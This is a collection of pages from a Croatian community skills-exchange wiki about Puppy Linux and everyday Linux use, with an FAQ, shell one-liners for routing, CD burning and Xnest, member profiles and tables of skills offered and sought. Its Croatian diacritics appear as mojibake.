Tocno, ali specificnost Puppy-a je da je postupak bootanja brz i ne traje cijelu vjecnost ;).
Puppy ne prozdire RAM da bi zauzvrat brzo radio.
Objasnjenje slojevite strukture Puppy-a mozes pronaci na stranici u nastavku. 
http://www.puppylinux.com/development/howpuppyworks.html

22) Ipak kad je toliko dobar zasto nema i KDE verziju ?

KDE se dade dodatno instalirati kao kde.sfs paket. Isprobao sam najbrzi KDE za kojeg znam, a i ti ga mozes skinuti sa stranice <http://lhpup.org/>.

23) Sve mi to lici nekako jednostavno, za igranje. A kad ce me zaboliti glava od problema ?
Upravo tako. Puppy je i zamisljen kao Linux za zadovoljstvo mnostva korisnika. Glava neka i dalje boli developer-e.

24) Zar je moguce da Puppy nema niti jedan fork projekt? Cuo sam naime da se Puppy vodi precvrsto rukom njegovog tvorca. 
Koliko znam svjetli primjer uspjesnog fork projekta je "MuppyLinux."<http://minisys-linux.de/muppy0083/EN/index.htm>
Njegov tvorac jedan je od najaktivnijih je clanova "PuppyForuma"<http://murga-linux.com/puppy/viewtopic.php?p=173456#173456> i sve sto napravi za Muppy ponudi i za Puppy. Jedina primjedba bi bila da ne zeli odustati od kompatibilnosti s KDE-o i GNOME-om. Kao evropski Puppy preporucio bi ga svakome jer ima englesku, njemacku i francusku lokalizaciju.

25) Zasto u postupku instalacije moram izabrati "si"(slovensku) tipkovnicu da bi dobio hrvatske znakove ฤ,ฤ‡,ลพ, ลก.ฤ‘. Ako izaberem "croat" tipkovnicu uporno dobivam znakove za "cz" tipkovnicu.

Tocno radi se o bugu u skripti xorgwizard. 
;
cr) #croat
  XKEYMAP="cz"
;
Prijavio sam bug na PuppyForumu, ali jos uvijek nije ispravljen. 
http://www.murga-linux.com/puppy/viewtopic.php?p=188208#188208

26) Jeli moguca lokalizacija PuppyLinux-a na hrvatski jezik uz koristenje lokalizacijskih datoteka *.mo ostalih distri/programa ? 
U izborniku Desktop - Chooselocale country localization moguce je instalirati hr_HR locale. Nova se lokalna datoteka pojavljuje u /usr/lib/locale/hr_HR.
Pri tome se mijenja LANG globalna varijabla u /etc/profile na LANG=hr_HR.
Na puppy forumu pronasao sam i dobar howto koji se moze primjeniti i za nase prilike.

http://www.murga-linux.com/puppy/viewtopic.php?p=222449#222449

----

"original"<http://www.razmjenavjestina.org/RazmjenjivaciVjestina/CroPuppian/RazmjenjivaciPitaju> {date: 2007-12-02 11:52:10 +0100}
Ponekad se dogodi da smo pronaลกli ili konstruirali nekakvu relativno sloลพenu komandnu liniju i ne ลพelimo kroz taj proces prolaziti ponovo. Ovo mjesto je zamiลกljeno kao mala baza takvih znanja -- navalite!
*Xnest*

Startavanje Xnesta sa nekim window managerom (npr./usr/local/bin/rvwm):

.pre
xinit /usr/local/bin/rvwm -- /usr/X11R6/bin/Xnest :1 -geometry 800x600 -ac
.pre

ili

.pre
Xnest :1
DISPLAY=:1 /usr/local/bin/rvwm
.pre

(druga varjanta ponekad ne radi)

*Router*

Imate wireles karticu /dev/wlan0, i izlazak na internet preko /dev/eth0 i ลพelite postati router ostatku ekipe:

.pre
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A POSTROUTING -o wlan0 -j MASQUERADE na "serveru"
a route add default gw "server-ip" na clientu
.pre

*Prลพenje CD-a*

.pre
cdrecord -scanbus dev=ATA
.pre

skanira ureฤ‘aje, a

.pre
cdrecord -v dev=ATA:a,b,c img.iso
.pre

prลพi cd. Parametre a b i c prepiลกemo iz izlaza scanbusa

*X background*

Mjenja defaultnu pozadinu X-a

.pre
xsetroot -solid color
.pre

*Automatsko startanje Screena*

.pre
if [ "$STY" = "" ]; then
exec screen -RR
fi
.pre

stavi u ~/.bashrc

----

"original"<http://www.razmjenavjestina.org/RazmjenjivaciVjestina/AkA/SvakodnevneDovitljivostiOneLineri> {date: 2007-12-14 13:56:42 +0100}
Student talijanskog i juลพnoslavenskih jezika i knjiลพevnosti u Zagrebu, aktivist "Umaลกkog pokreta za slobodu"<http://www.ups-umag.org>. ลฝivi dokaz da ne moraลก biti ne znam kakav IT struฤnjak da bi bio sposoban vrtit linux u svakodnevnom koriลกtenju kompjutera (internet, pisanje/ฤitanje, glazba, video/filmovi, igrice...). Makar, istina je i to da sam se u samom poฤetku straลกno izdrkavao s njim... :-p Zato sam danas spreman da svoja skromna znanja i vjeลกtine koja sam do sada stekao podijelim s apsolutnim poฤetnicima.

Na svom kopjuteru vrtim Ubuntu.

FrankoNudi:

* Osnovna znanja i vjeลกtine kod koriลกtenja GNU/Linuxa, osobito Ubuntua, ali i ostalih Debianovih potomaka.
* Audio streaming s Internet DJ Console-om.
* Ureฤ‘ivanje teksta u OpenOffice.org Writeru
* Filozofiranje o slobodnom softveru i slobodnoj kulturi
* Znanje o knjiลพevnosti
* jeziฤne vjeลกtine hrvatskog (i srpskog), slovenskog i talijanskog jezika i teorijsko znanje o njima

FrankoTrazi:

* Slobodu ;-)
* Proizvodnja zvuka i glazbe u softveru za GNU/Linux sustave, pogotovo u trackerima
* Dizajniranje Gnome i Xfce tema
* Enkripcija (GPG) i anonimnost na mreลพi
* Bilo ลกto ลกto mu u nekom trenutku zatreba ili padne na pamet
* Pomoฤ‡ kad eventualno degdje zapne

----

"original"<http://www.razmjenavjestina.org/RazmjenjivaciVjestina/FrAnkO> {date: 2007-12-01 17:53:29 +0100}
^ [CroPuppianNudi]

^ [CroPuppianTrazi]

^ [CroPuppianUkratko]

^ [RazmjenjivaciPitaju]

^ [IsprobaliPuppy]

^ [PuppyMatricaVjestina]

^ [zdravko_maricevic_s_notepad]

----

"original"<http://www.razmjenavjestina.org/RazmjenjivaciVjestina/CroPuppian> {date: 2007-09-30 08:32:50 +0200}
|  | Datum |  | Razmjenjivac |  | PC Hardware |  | CD Boot |  | HD Boot |  | USB Boot |  | Primjedba |  |
|  | 02-06-07 |  | [ZdraVko] |  | Toshiba TECRA A8-103 |  | Da |  | - |  | - |  | ndiswrapper load windows driver-a |  |
|  | 02-06-07 |  | [NitRo] |  | ??wireless |  | Da |  | neuspio pokusaj instalacije na HD i aktivacija GRUB-a zbog potrgane particijske tablice |  | - |  | - |  |
|  | 15-05-07 |  | [ZeljkoWriter] |  | Duron 700 |  | Da |  | - |  | - |  | puppy215ce |  |
|  | 10-06-07 |  | Libervisco |  | Intel Core 2 Duo E6320, 1GB RAM, 80GB Seagate Barracuda HD, Optiarc AD-5170A DVD ,Gigabyte 965P mobo. |  | Da |  | - |  | - |  | "cannot find Puppy on 'idecd' boot media." |  |
|  | 10-05-08 |  | gosponIvo
(barba Ive) |  | Dell Inspiron 1300 |  | Da |  | - |  | - |  | -potrebno rucno podesavanje xorg.conf- ] 
radi besprijekorno i s instalacijom na tvrdi disk. Isprobano na Puppy301(<http://www.lhpup.org> - KDE Puppy) |  |
|  | 31-01-2009 |  | Alen |  | Toshiba S 1800-750 |  | Ne |  | - |  | - |  | <http://www.razmjenavjestina.org/[SajamZajebaneOpreme>Boot-ao do komandne linije - Ima prastari (10years old) video chipset Trident Cyberblade/i1; Pokusati s izmjenjenim xorgwizardom "<http://www.tinyurl.com/alenovtrident>" |  |

----

"original"<http://www.razmjenavjestina.org/RazmjenjivaciVjestina/CroPuppian/IsprobaliPuppy> {date: 2007-07-08 08:20:16 +0200}
^^^^^ Umjesto uvoda

Dobrodoลกli na moju stranicu na Razmjeni vjeลกtina!

Zovem se Kruno.

[KruNoNudi]

Imam potrebu za odgovorima o:

* podeลกavanje znakovnih stranica na Linux-u
* make yourself liveCD Linux distribution
* networking

Isus vas voli.

KP.

^^^^^ Ubuntu

Nedavno sam si na laptop instalirao Ubuntu distribuciju Linuxa. Mogu priznati da dobro radi. Na trenutak sam se razoฤarao ฤinjenicom da s Ubuntuom ne mogu reproducirati MP3-datoteke, ali sam ubrzo obavijeลกten da je MP3 vlasniฤki
zapis; umjesto MP3-zapisa se preporuฤa Vorbis OGG. Na sljedeฤ‡im Razmjenama vjeลกtina ฤ‡u predloลพiti malu raspravu o temi zapisa glazbenih datoteka (MP3 ili OGG?).

31. 8. 2005., KP.

^^^^^ Tcl

Veฤ‡ sam vam nekoliko puta spomenuo da koristim programski jezik Tcl; njegovo ime je kratica izraza "Tool Command Language". Radi se o jednostavnom i moฤ‡nom programskom jeziku. Uz pomoฤ‡ njegove biblioteke Tk (kratica za "Toolkit") moguฤ‡e je na jednostavan naฤin graditi elemente slikovnog okruลพenja (prozori, gumbi, upisna polja i drugo).

Nakon kratkog teoretskog uvoda moลพemo odmah uzeti stvari u ruke i napraviti mali opit. Pokrenite ljusku Wish instalacije Tcl-a na vaลกoj omiljenoj Linux-distribuciji i upiลกite ovaj kod (nakon upisa naredbe pritisnite tipku Enter):

|  | label .l1 -text "Hello!" |  |

Zatim upiลกite naredbu:

|  | pack .l1 |  |

Na prozoru uz konzolu za upis naredbi biste trebali vidjeti mali prozor s oznakom (labelom) "Hello!".

Za danas, toliko...

25. 9. 2005., KP.

^^^^^ awk

Ako sam veฤ‡ napisao par reฤenica o Tcl-u, onda bih vas podsjetio na *awk*, svoj omiljeni skriptni programski jezik. Njegovi tvorci, Aho, Weinberger i Kernighan, osmislili su ga kao sredstvo za pretraลพivanje i obradu tekst datoteka. Nastao je 1977. godine i joลก se aktivno primjenjuje u suvremenoj praksi.

Ako ลพelite uz pomoฤ‡ programskog jezika awk pronaฤ‡i neki uzorak u tekst datoteci, upiลกite ovu naredbu:

|  | awk '/uzorak/' datoteka |  |

Na ovaj naฤin awk primjenjujete poput programskog pomagala *grep*.

Broj redaka u tekst datoteci moลพete prebrojati primjenom ove awk skriptice:

|  | awk '{ i ++ } END { print i }' datoteka |  |

awk je, kao ลกto zapaลพate, poseban po moguฤ‡nosti da program napiลกete u retku za upis naredbi. Naravno, program moลพete smjestiti u tekstovnu datoteku, pa ga pozvati naredbom:

|  | awk -f program datoteka |  |

8. 10. 2005., KP.

^^^^^ grep u boji

[BuD] je veฤ‡ dao savjet za grepanje u boji, a ja sam odluฤio o tome joลก jednom napisati, sebi za podsjetnik.

Klasiฤni alat za pretraลพivanje teksta, *grep*, od pojave izvedbe *2.5* ima moguฤ‡nost prikaza u boji traลพenog uzorka. Boja se u novoj izvedbi grep-a ukljuฤuje primjenom prekidaฤa *--color*. Provjerite izvedbu grep-a na vaลกem raฤunalu uz pomoฤ‡ prekidaฤa *--ver*.

Slobodno isprobajte bojanje uzroka u grep-u izvrลกenjem naredbe

|  | ps | grep --color bash |  |

Trebali biste vidjeti sve retke u kojima je rijeฤ _bash_, a ta rijeฤ bi trebala biti u boji (by default je to crvena boja).

Da biste izbjegli eksplicitno navoฤ‘enje prekidaฤa --color, u datoteku .bashrc (ili u datoteku postavki ljuske koju koristite) umetnite alias:

|  | alias grep='grep --color=always' |  |

Sada uz pomoฤ‡ grep-a moลพete vizalno provjeriti ลกto se zaista traลพili.

28. 02. 2006., KP.

^^^^^ Intro u C

Na nekoliko prethodnih Razmjena vjeลกtina razgovarali smo o C-u. Ovdje je prezentacija o temeljima C-a: {file: C.sxi Prezentacija_o_Cu}

15. 04. 2006., KP.

^^^^^ Regularni izraz u vi-u

Ovaj regularni izraz sam nedavno skovao da bih, s vi editorom, postavio znakove "> " na poฤetak retka za Reply u poruci:

|  | %s/^/> /gc |  |

Postavljanje toฤke na kraj predikata (pretvorba predikata u Prolog
program):

|  | %s/)$/)./gc |  |

04. 11. 2006., KP.

^^^^^ Rad na CUC-u 2007

Moj rad o udaljenom pristupu s Windows- na Linux-raฤunalo:

http://www.carnet.hr/CUC/program/radovi/e-1-bio.html

19. 11. 2007., KP.

*Rad na CUC-u 2008*

Rad o prijepisu datoteka s Linux- na Windows-raฤunalo na "CUC-u 2008"<http://cuc.carnet.hr/>.

13. 12. 2008., KP.

*

----

Proba:

{image: logoLarge.gif}

----

"original"<http://www.razmjenavjestina.org/RazmjenjivaciVjestina/KruNo> {date: 2007-11-19 14:16:41 +0100}
1.) Email & GNUPG - rijeseno !

(primjenu gpg-a razjasnio [BuD]. Enigmail radi medjutim samo pod Thunderbird-om >=2.0 ili Seamonkey mail-om >= 1.1. Ostaje da se isto pokusa napraviti pod Pine-om i Mutt-om).
Nakon repeticije gradiva koju je proveo [MarcellMars] odlucio sam se za instalaciju najbrzeg E-mail client-a kojeg znam, a koji vec odavno podrzava GNUPG i IMAP. Claws Mail 2.9.0 radi bez greske zahvaljujuci Hiroyuki Yamamoto iz Japana <hiro-y@kcn.ne.jp> te sam ga odmah postavio kao default-ni na svom Puppy 2.17.

2) Tiddlywiki Blog Tool

3) Prakticna iskustva s racunalima hladjenim vodom. Prihvacaju se i druga tehnicka rjesenja za tihi rad primjerana domacim uvjetima.

Odlucio sam se za hladjene zrakom, ugradio Big Tower(CHIEFTEC GX-01B-OP), navodno dobro hladi, ali huci li ga huci...sve bih dao da ga usutkam..

4) Linux boot s PCMCI CF kartice (Compact Flash). Gentoo je to navodno rijesio, ali ne znam kako ?

5) PXE Network boot sa stroja pod XP-om i/ili Ubuntu-om. -Nasao sam principijelno rjesenje na-. -Sad ga je potrebno samo tehnicki i ostvariti. "Glomazni kernel" imam, a ostalo...snaci cemo se.-.. - Nakon uspostave vrela distribucija na bljak-u ( [vrelo distribucija demonstracija] ) potrebno bi bilo puppy postaviti na bljak-ov pxe-boot. Pribavio sam glomazni initrd.gz kojeg bi sad trebalo editirati/pripasati zasto mi treba pomoc.

6) Koristenje Gentoo binarnih paketa na Puppylinux-u. Dakako trebalo bi nekako izvuci binarni paket prije instalacije. (na ostalim je linux-ima to prije - make install - kad se stvara puppy pet format).

Teoretski to je uredu, ali prakticki nema smisla. Mozda bi trebalo koristiti gotove Sabayon pakete ? Jedna od mogucnosti je i Gentoo radjen na Puppy jezgri. Ideja je vrlo interesantna i nalazi se na <http://www.simplux.org>.

7)Pomoc pri konfiguraciji kucne heterogene mreze od 3 racunala.

> 1. PC Intel Core 2 Quad Q6600 2,4 GHz ; 4 GB RAM ; GeForce8800 GTS; HDD 320 GB;
> Osnovni je sustav XP game konzola. U postupku je instalacija 64 bitnog Ubuntu-a u dual boot-u

> 2. PC Intel Pentium 4 1,8 Ghz; 1Mb RAM-a; GeForce 6200; HDD 1x320 GB & 2x80 GB
> dual boot Ubuntu Dapper Drake & XP . Printer HP 970 Cxi prikljucen je lokalno na paralelnom port-u.

> 3. Laptop IBM R32 pod Puppy Linux-om 3.1

Za sada mreza je konfigurirana kao peer to peer s prikljuckom na adsl preko wire router-a 
Siemens C-010-i sa statickim IP adresama. 
U prvom je koraku potrebno iskristalizirati osnovni koncept mreze serverskog tip-a.
Preferirao bi instalaciju ako je to moguce i vise Virtual Private Linux Server-a na jakoj masini te dijeljenje resursa jake masine kao terminal server-a ......

O svemu tome premalo znam .... pa zato i trebam pomoc...razmjenjivaca..

8) Konfiguraciju za Dynebolic Afro Linux CD i to verziju koja radi na Laptop-u IBM R32

Kao deklarirani korisnik javio se je [DrGspot] koji je ponudio demo CD. Izgleda obecavajuce s velikim razvojnim potencijalom...Potrebno odmah ubaciti driver za joystick tipkovnice te poboljsati koristenje RAM-a jer aplikacije trepere....

9) Tragam za poklonicima malih distribucija radi opcenite razmjene iskustava. Osim [DrGspot](Dynebolic) i [KruNo] (DSL - "Krunek"<http://saturn.ffzg.hr/bljak/index.cgi?kp_s_notepad>) nisam jos nazalost sreo nikoga drugog-a.
----

"original"<http://www.razmjenavjestina.org/RazmjenjivaciVjestina/CroPuppian/CroPuppianTrazi> {date: 2007-10-08 11:38:57 +0200}
[CroPuppianNudi] (poveznica "nema" znaci samo da jos nisu napisane pisane smjernice)

| Br. | Vjestina | Poveznica | Primjedba |
| 0 | jos sam Windoza | http://www.goosee.com/best/index.html | ipak na svoj nacin |
| 1 | instalacija puppy-a | boot-aj puppy cd | za pocetak pritisni Enter |
| 1.1 | instalacija puppy na HD | http://www.puppylinux.com/hard-puppy.htm | provjeri na Grub promt-u >find /vmlinuz |
| 1.2 | USB Boot bez podrske BIOS-a | http://www.murga-linux.com/puppy/viewtopic.php?t=16950 | instalacija GRUB-a na CD |
| 2 | pokretanje puppy-a | isto kao instalacija | blabla |
| 3 | instalacija Liberation fontova | http://www.linux.hr/modules/newbb/viewtopic.php?topic_id=750&forum=3&post_id=8542#forumpost8542 | kompatibilnost s windows core fontovima |
| 3.1 | shortcut-ovi za tipkovnicu | Menu - Desktop - JWM Configuration | narihtaj |
| 4 | ircanje | http://f0rked.com/articles/irssi | xchat kao klasika, ali ipak pobjedjuje irsii |
| 5 | p2p mreze, torrent download | nema | nista lakse s pupctorrent |
| 5.1 | standardni download wget | http://www.editcorp.com/personal/lars_appel/wget/wget_7.html#SEC31 | da, da wget moze sve i vise od ... |
| 6 | konfiguracija pisaca | nema | lokalni i mrezni |
| 7 | instalacija standardnih alternativnih window manager-a | Fluxbox, IceWM, XFCE ; http://www.tuxfiles.org/linuxhelp/changeman.html | potrebno doinstaliranje dodatnih paketa |
| 7.1 | instalacija egzoticnih WM | wmii, dwm, awesome | ????; http://www.xwinman.org/basics.php |
| 7.2 | instalacija geeky WM | ion, stumpwm ... | ??? |
| 7.3 | konfiguracija rvwm | nema | ???super light wm razmjene vjestina |
| 7.4 | pokreni vise window manager-a na istom host-u | [svakodnevnedovitljivostionelineri] | xnest u akciji |
| 7.4 | cool desktop ala RV | nema | prozirni usidreni terminal bez okvira, conky ali sve s JWM prema ideji dboto |
| 8 | konverzija audio formata | nema | nista lakse s Soxgui audio conversion |
| 9 | konverzija video formata | nema | ???? |
| 10 | przenje cd-a i dvd-a | nema | lakse nego NERO |
| 11 | particioniranje i formatiranje | nema | nista lakse s Pdisk partition manager-om |
| 11.1 | zabunom sam izbrisao datoteku sa svog diska/usb-a | http://www.cgsecurity.org/wiki/TestDisk_Download | zbilja radi uvjerio me filippo |
| 12 | probijanje "zaboravljene" root zaporke | nema | ne provodi se jer puppy stiti svoj sadrzaj u enkriptiranoj datoteci |
| 13 | Gnupg | nema | upareno s enigmail-om kuzi [BuD]; s firefox extenzijom fireGPG moguca primjena i s GMAIL -[MarcellMars] |
| 14 | razmjena podataka s drugim PC-om | nema | MS Windows ili bilo koji drugi OS |
| 15 | Tiddly Wiki Blog | <http://www.picigin.net/logcells/>; http://www.anshul.info/blogwiki.html | kako poceti zna samo [MarcellMars] |
| 15a | GTD Tool ala Tiddly Wiki | http://monkeygtd.tiddlyspot.com/ | Jesi li za osobnu produktivnost ?? |
| 15b | Wiki na USB stapicu | http://sourceforge.net/projects/stickwiki | vise o svemu PhilipB |
| 16 | Wordpress Blog tool | nema | instaliran lokalno na Puppy XAMPP serveru |
| 17 | Backup podataka | nema | cijele particije, ali moze i MS Windows sistemske datoteke |
| 18 | Instalacija Freemind software-a | nema | postoji dodatni paket za instalaciju koji zahtjeva Sun Java JRE.([DrGspot]) Primjenu pri razvoju Web-a nudi [HorzA] |
| 19 | integracija hr lokalizacije | http://lokalizacija.linux.hr | po [DrGspot]-u potrebno se upoznati s prevoฤ‘enjem na http://www.rilinux.hr/index.php?pid=dist |
| 20 | citanje MS chm datoteka | ne treba | Otvori Menu-Document-ChmSee |
| 21 | editiranje grafike | nema | instaliraj gimp pomocu pet installer-a |
| 21.1 | animirani gif | http://kiberkomunist.wordpress.com/2007/09/19/intervju-u-glasu-istre-povodom-yaxwe-a/ | ??? |
| 21.2 | 2D animacija | nema | ??? |
| 22 | editiranje vektorske grafike | nema | inkscapelite je na standardnom cd-u |
| 23 | irfan viewer pod linuxom | http://www.murga-linux.com/puppy/viewtopic.php?t=17359 | da treba nam wine i najbolji preglednik radi besprijekorno dokazuje [AcO] |
| 24 | laptop projekcija | nema | isprobano sa sony projektorom, jednostavno radi "out of the box" |
| 93 | bluetooth | ..npr mobitel i laptop.. | na prvom uredjaju odredi zaporku, za ostalo pitaj [KruNo] |
| 94 | FLAC audio codec | - | instaliraj vlc player s flac codec-om |
| 95 | puppy na virtual masini-QEMU Puppy | http://www.erikveen.dds.nl/qemupuppy/index.html http://www.erikveen.dds.nl/qemupuppy/images/qemupuppytje.gif | kopiraj na USB i aktiviraj pod MS Windows/*nix na bilo kojem PC-u |
| 96 | TVNC | http://www.tightvnc.com/ | nista lakse Menu-Network-TightVNC |
| 97 | Koriscenje resursa jakog racunala na LAN-u pristupom preko laptop-a | nema | openssh server i [BuD] |
| 98 | mutt geek email client | http://mutt.blackfish.org.uk/overview/ | konfiguracija Budd |
| 99 | ssh tunneling | <http://www.suso.org/docs/shell/ssh.sdf>; <http://www.buzzsurf.com/surfatwork/>; http://bud.bljak.org/?p=26 | ...ali [LesH] zna, a [BuD] razmjenljuje |
| 99a | java ssh client | http://www.appgate.com/products/80_MindTerm/ | opla ..Java...i Vedran |
| 100 | tor | nema | ????? |
| 101 | Aplikacije midi produkcije | http://www.murga-linux.com/puppy/viewtopic.php?p=127919&search_id=1919590073#127919 | low-latency kernel patch, Ingo Molnar |
| 101a | Zamjeni tipkovnicu i misa gamepad-om | http://git.savannah.nongnu.org/gitweb/?p=topot.git | [MarcellMars] |
| 101b | Snimi 4 kanalnu glazbu | nema | [MarcellMars] i jack u akciji |
| 102 | kismet&aircrack | http://dotpups.de/dotpups/Wifi/wireless-utilities/ | ...dosta za wirelless ???pitajte [BuD] |
| 103 | ispis mape s web-a oliti tshark u akciji | http://blog.rot13.org/2007/10/stitching_maps_together.html | <http://www.razmjenavjestina.org/[DpavLin>] |
| 104 | koristi jedan mis za vise ekrana | http://synergy2.sourceforge.net/about.html | instaliraj synergy i gui quicksynergy isprobao [BuD] |
| 105 | Kreiraj vlastitu pristupnu tocku na LapTop-u s Atheros Wirelless karticom | [ethernet wifi bridge] | ipak ne zaboravi instalirati bridge-utils te pokrenuti dhcp server na lokalnoj mrezi - vjerujete smislio Dobrica, a potvrdio Bud :) |
| 150 | puppy s gentoo-om kao underdog linux-om | http://www.puppyos.net/blog/index.php?entry=entry070325-044449 | potrebna instalacija Sabayon-a i pomoc [AkA] - kao laksa ipak se pokazala instalacija Gentoo 2007.0 Minimal CD-a uz 2 tjedna konfiguracije |

----

"original"<http://www.razmjenavjestina.org/RazmjenjivaciVjestina/CroPuppian/CroPuppianNudi/PuppyMatricaVjestina> {date: 2007-12-15 13:40:46 +0100}
^ Dobrica Pavlinuลกiฤ‡

http://www.gravatar.com/avatar/1a717634ca43c3c2af9a9124d0a89c28?.jpg

Linux hacker since 1995.

Razmjenjivaฤ od 2006.

Stranice: http://www.rot13.org/~dpavlin/

Blog: http://blog.rot13.org/

Privatni wiki: http://wiki.rot13.org/rot13/

e-mail adresa: (yeah right spam bots!)

^ Best of na ovom wikiju

* [Novi site www.razmjenavjestina.org]
* [irc-logger]

^ Postovi sa mog bloga

{fetchrss: http://blog.rot13.org/index.xml full}

^ Postovi sa blogova koji su meni interesantni

{fetchrss: http://reblog.rot13.org/out/rss.php?user=1}
* pomoฤ‡ u izradi razmjenavjestina terminal-client enviromenta (pxe/nfs?/packaging/deb repo)
* savjete i prakse za debian web/database/filesystem clustering/replikaciju
* savjete i prakse za kvalitetnu SAMBA/LDAP/AD integraciju
* savjete za clustering Tomcata
* inofrmacije o svijetu oko nas (posebno zanimljivosti iz IT-a koje se ne mogu naฤ‡i u novinama i na onom... kako se zove... guuuuglu)
* osobne i/ili neprofitne web stranice
* savjeti i pomoฤ‡ oko implementacije, skripti, svaลกta neลกto
* poduka i podizanje gotovih GNU-GPL CMS-ova, foruma, svaลกta neลกto
* hardware (samo konpjuktori i komponente za isti)
* beskonaฤno filozofiranje i teoretiziranje oko samoorganizacije
* gorenavedeno primjenjeno na web community-e (forumi, razni drugi oblici community-a)
* stvari iz gornje stavke... razni naฤini za automatizaciju i reorganizaciju dosadnih procesa u svemu i svaฤemu
^^^^^ "Vijesti"[RijekA] - "O razmjeni"[AboutRijeka] - "Razmjenjivaฤi Vjeลกtina"[RijeckiRazmjenjivaci] - [RazmjenaDistribucija] - "IRC Kanal"[RiIRCKanal] - "IRC Logovi"<http://www.polarhome.com:733/~iamxray/> - "Kontakt"<mailto:ImeGrada@razmjenavjestina.org>

----

^ Razmjenjivaฤi[ce] vjeลกtina:

[AiC]

[PaE]

[ManS]

[B4D]

"v-v"<http://www.razmjenavjestina.org/[RijekA]/[RijeckiRazmjenjivaci]/[V-V]>

[SynaN]

[SmrtCRO]

[Frenki]

[Mali]

----

*Ovdje ฤ‡e te naฤ‡i i razmjenjivaฤe iz drugih gradova - [RazmjenjivaciVjestina].*

----
*Traลพi...

prihvatljivu 64 bit linux distribucijo. *

Objaลกnjenje...

Traลพim distribuciju koja ฤ‡e raditi na 64bitnom (AMD) procesoru 
	(HP nx632 AMD Mobile Turion 64 X2 TL-52 (1.6GHz) Chipset ATI Xpress 1150 1GB DDR2 667MHz Broadcom Netlink Gigabit Ethernet PCI Controller (Wireless Broadcom 802.11 abg Integriran Bluetooth modul...)

Prokuลกan do sada je *Gentoo* za koji jedino mogu reฤ‡i da na ลพalost nemam vremena sve to kompajlirati. Na ลพalost.
*Ubuntu*...

Slijedeฤ‡i pokuลกaj. Kako je poznato da nema najprikladnije distribucije do one s kojom ste upoznati, uzela sam *openSuse 10.x*. Nije iลกlo, puno toga je visilo, paketi se nisu htjeli intaliravat... Paketi. 
*Ubuntu* drugi put. Pokazalo se da ni ova distribucija nema razvijeni sav software... pokazalo se i to da ja samostalno takoฤ‘er nisam u stanju rjeลกiti probleme za koji postoji i viลกe nego detaljan howto na njihovom wikiju, a to je ako ne i najbitniji uvjet pri izboru distribucije - da se mogu samostalno nositi s njome.

Razmiลกljala sam i o ideji 64bitnih distribucija, da ih tako nazovem. Usudila bih se reฤ‡i kako (trenutno) nisu uopฤ‡e optimizirane za 64bitne procesore. Kao _must have_ u svojoj ponudi... pa hajmo rekompajlirat 32-bitnu i _sad sluลพbeno izlazi 64x distra... u je!_ Da ne spominjem software drugi put. Evo spomenula sam ga.

Ima li sada, u ovom momentu uopฤ‡e smisla i traลพiti distru za 64 bitni procesor?

----

.pre

Odgovor je Arch GNU/Linux http://archlinux.org/ distribucija koja spaja najbolje iz Linux i BSD svijeta 
tvoreci jednu od najboljih distribucija trenutno. KISS pristup i vrhunski package manager (nesto kao 
slackware sa vrhunskim pkg. managerom), uz pkg. manager tu je i ports (naziva ABS) sistem po uzoru na BSD 
ali i init koji je cak slicniji BSD sustavima nego kod slackware (citaj jednostavniji, a neusporedivo cisci i 
jednostavniji od redhat, debian i derivata - ranije spomenuti KISS pristup). No razlog zasto uopce spominjem 
sve ovo je sto je Arch od pocetka bila distribucija namjenjena iskljucivo i686 masinama, svi paketi sa 
optimizacijama za tu arhitekturu... a za gentoo ricere ako im ni to nije dosta imaju ranije spomenuti ABS 
(kao BSD ports) kojim je ekstremno lako rekompilirati i prepakirati softver (u ovom slucaju sa agresivnijim 
flagovima)... Arch danas ima i *sluzbeni* x86-64 port koji ti svakako preporucam da probas. Jos jedna specificnost 
ove distribucije je sto nema izdanja u klasicnom smislu vec ima tzv. "rolling releases" sistem gdje se paketi 
konstantno osvjezavaju u respozitorijima a na korisniku je da svako malo odradi "pacman -Syu" i ostaje u potpunom 
syncu sa posljednjim softverom/paketima (ako mu je do toga).... ima tu jos hrpa specificnosti i super stvari 
a to ces vidjeti sama kad postanes Arch korisnik.

http://wiki.archlinux.org/index.php/The_Arch_Way ;)
.pre

** [AiC]

----

"original"<http://www.razmjenavjestina.org/RazmjenjivaciVjestina/SiraM> {date: 2007-04-07 22:33:48 +0200}
----

[CroPuppian] ili pravim imenom Zdravko Mariฤeviฤ‡ prosjeฤni je linux hoby korisnik. Za "Puppy Linux" http://www.puppylinux.com {image: puppyos-logo }
kao svoju osnovnu distribuciju odluฤio se je iz sklonosti prema malim brzim distribucijama paลพljivo probranog software-a ฤije koriลกtenje ohrabruje krivulju uฤenja.

----

Gotovo sve svoje dosadaลกnje linux znanje strpljivo je skupljao preko interneta na kojem je saznao za <http://www.razmjenavjestina.org/[ORazmjeniVjestina>]
kojoj se pridruลพio koncem travnja 2007.

Nema nikakvih predrasuda prema ostalim operacijskim sustavima ni linux distribucijama.

Pokazuje opฤ‡i interes prema software-u otvorenog koda, a posebno prema zanemarenim malim rijetkim aplikacijama.

[CroPuppianNudi]

[CroPuppianTrazi]

----

...pa dobro dosao puppy!

----

...running Puppy Linux & Gentoo, enjoying free life on internet...

----

----

"original"<http://www.razmjenavjestina.org/RazmjenjivaciVjestina/CroPuppian/CroPuppianUkratko> {date: 2007-08-21 14:34:49 +0200}
"Peticija za ukidanje ZAMP-ovih nelegitimnih nameta ..."<http://www.aktivacija.mine.nu/>

"Pravo na grad"<http://www.pravonagrad.org/>

"Dolphin massacre in Japan"<http://www.glumbert.com/media/dolphin>

"Peticija"<http://www.petitiononline.com/golfinho/>

"Bad Sector"<http://www.bad-sector.com/>

"Audiofilski "Uradi sam :)

"Petak 13. - rezime kroz prikaz svih ubojstava"<http://www.zuti-titl.com/index.php?option=com_content&task=view&id=516&Itemid=110/> ;)

"Spaghetti Westerns"<http://spaghettiwesterns.1g.fi/>

"Bad Movies"<http://www.badmovies.org/> (poslastica za studente komparativne trashologije) :)

"The Crippled Masters"<http://www.youtube.com/watch?v=dDzEaFCrmek> :)

"klub ljubitelja ฤ‡evapa"<http://www.netopolis.hr/forum/forumdisplay.php?f=1394>

"Povratak ฤ†evapensteina"<http://bs.wikipedia.org/wiki/%C4%86evapi>

"McBoureque"<http://hr.wikipedia.org/wiki/Burek>

"grof ฤŒokula"<http://www.cokolada.hr/>

"Good Afternoon Colorado"<http://www.youtube.com/watch?v=j52755BoAb4>

"US Army Humvee Driving In Iraq"<http://www.youtube.com/watch?v=IZaRXtsZdQo>

"Kako odigrati Morrowind za 7 i pol minuta"<http://www.youtube.com/watch?v=9mjgtpMKhIE&mode=related&search=>

